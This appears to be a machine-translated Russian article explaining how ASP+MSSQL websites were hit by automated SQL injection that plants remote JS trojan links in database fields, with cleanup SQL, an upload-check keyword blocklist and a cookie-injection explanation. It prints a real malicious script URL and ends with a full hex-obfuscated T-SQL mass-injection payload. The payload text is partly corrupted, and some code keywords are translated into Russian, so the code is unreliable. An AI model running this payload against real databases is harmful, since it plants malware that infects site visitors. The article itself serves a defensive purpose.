В наши дни многие веб-сайты, созданные с использованием ASP+MSSQL, могли сталкиваться с тем, что хакеры вставляли свои базы данных SQL в JS-трояны. Нет, веб-сайт друга был обманут хакерами;
Каждый varchar и текстовое поле mssql автоматически вставляются в кусок js-кода. Даже если этот кусок кода удалить, если он не решен из исходника, js-код будет автоматически вставлен в базу данных через несколько минут.
По наблюдениям Пяо И, это, скорее всего, будет выполнено программой автоматически. Хакер сначала ищет уязвимые веб-сайты, созданные с помощью asp+mssql, в поисковых системах, таких как Google и Baidu, а затем использует инструменты сканирования, такие как Xiao Mingzi, для сканирования всего. веб-сайт, как только будет обнаружена или загружена уязвимость sql-инъекции. Если есть уязвимости, хакеры используют различные способы для загрузки своих собственных троянов, таких как трояны Haiyang, затем хакеры включают этот веб-сайт в свой список бройлеров и в любое время добавляют JS-коды, которые они хотят добавить в базу данных, и они; коды часто содержат многочисленные вирусы и трояны, которые в конечном итоге отравляют компьютеры пользователей, посещающих контролируемые веб-сайты.
Хотя вы можете выполнить пакетную замену через анализатор SQL-запросов, чтобы временно решить проблему вставленного js-кода, если вы не устраните фундаментально уязвимости всего веб-сайта, включая разрешения безопасности программы и сервера, хакеры все равно могут вторгнуться на ваш сайт в любое время. База данных сайта.
В анализаторе SQL-запросов вы можете выполнить следующий код для пакетной замены js-кода:
Скопируйте код кода следующим образом:
"обновить имя таблицы, задать поле name=replace(имя поля,'<Script Src=http://cn%75clear3.com/css/c.js></Script>','')"
Flymorn тщательно проверил сайт и обнаружил несколько проблем с безопасностью:
Во-первых, веб-сайт имеет уязвимость при загрузке; хотя для загрузки файлов требуется аутентификация администратора и проверка формата загруженных файлов, для аутентификации администратора используются файлы cookie, а файлы cookie могут быть подделаны, и если они загружены, вы не делаете никаких выводов о содержании файла. после того, как снимок сделан, скорее всего, будет загружен троян с изображением.
Решения: 1. Удалите функцию загрузки файла (непрактично); 2. Измените проверку пользователя при загрузке на проверку сеанса. 3. Проверьте содержимое загруженного файла и удалите его, если это графический троян; вы можете использовать следующий код проверки; :
Скопируйте код кода следующим образом:
''================ Определить, содержит ли загруженный файл недопустимую строку start================
set MyFile = server.CreateObject("Scripting.FileSystemObject")
set MyText = MyFile.OpenTextFile(Server.mappath(filePath), 1) 'Читать текстовый файл
sTextAll = lcase(MyText.ReadAll)
МойТекст.закрыть
установить МойФайл = ничего
sStr="<%|.getfolder|.createfolder|.deletefolder|.createdirectory|.deletedirectory|.saveas|wscript.shell|script.encode|server.|.createobject|execute|activexobject|language="
sNoString = разбиение(sStr,"|")
для i=0 до ubound(sNoString)
если instr(sTextAll,sNoString(i)) то
set filedel = server.CreateObject("Scripting.FileSystemObject")
filedel.deletefile Server.mappath(путь к файлу)
установить filedel = ничего
Response.Write("<script>alert('Возникла проблема с загруженным вами файлом, загрузка не удалась!');history.back();</script>")
Ответ.Конец
конец, если
следующий
''================== Определить, содержит ли загруженный файл недопустимую строку end===================
Во-вторых, на сайте есть уязвимость, связанная с внедрением файлов cookie. Благодаря конструкции программы, чтобы снизить нагрузку на сервер, все пользователи используют файлы cookie для аутентификации после входа в систему. В этих файлах cookie хранятся идентификатор и ИМЯ пользователя. Как мы все знаем, файлы cookie часто подделываются хакерами. Это один из них. кроме того, некоторые внешние параметры не используют строгие request.form и request.querystring для получения содержимого. Для простоты используется request("id").
Мы знаем, что запрос ASP сначала получает содержимое из формы и строки запроса. Если эти два параметра пусты, содержимое должно быть получено из файлов cookie. В программировании часто рассматривается внедрение SQL-запроса. и request.querystring обычно фильтруются на предмет внедрения sql, но они забывают фильтровать внедрение в режиме cookie; Давайте посмотрим на следующий оператор sql:
Скопируйте код кода следующим образом:
SQL="выберите * из имени таблицы, гдеid")
Если этот идентификатор получает значение через файлы cookie, подумайте, какой это ужас! Инжектор может легко подделать поддельный файл cookie с именем id, поскольку файл cookie с этим идентификатором назначается ему сервером. Этот файл cookie можно преобразовать в фрагмент кода, подобный следующему:
Скопируйте код кода следующим образом:
dEcLaRe @s vArChAr(4000);sEt @s=cAsT(0x6445634c615265204074207641724368417228323535292c406320764172436841722832353529206445634c6
15265207441624c655f637572736f5220635572536f5220466f522073456c456354206 Сеть IT-талантов () 12e6e416d452c622e6e416d
452046724f6d207359734f624a6543745320612c735973436f4c754d6e53206220774865526520612e694
94420416e4420612e78547950653d27752720416e442028622e78547950653d3939206f5220622e78547950653d3
335206f5220622e78547950653d323331206f5220622e78547950653d31363729206f50654e207441624c655f6375
72736f52206645744368206e6578742046724f6d207441624c655f637572736f5220694e744f2040742c4063207768
696c6528404066457443685f7374617475733d302920624567496e20657865632827557044615465205b272b40742
b275d20734574205b272b40632b275d3d727472696d28636f6e7665727428764172436841722c5b272b40632b275
d29292b27273c2f7469746c653e3c736372697074207372633d687474703a2f2f2536622536622533362532652537
352537332f312e6a733e3c2f7363726970743e27272729206645744368206e6578742046724f6d207441624c655f6
37572736f5220694e744f2040742c406320654e6420634c6f5365207441624c655f637572736f52206445416c4c6f4
3615465207441624c655f637572736f520d0a AS VArChAr(4000));exec(@s);--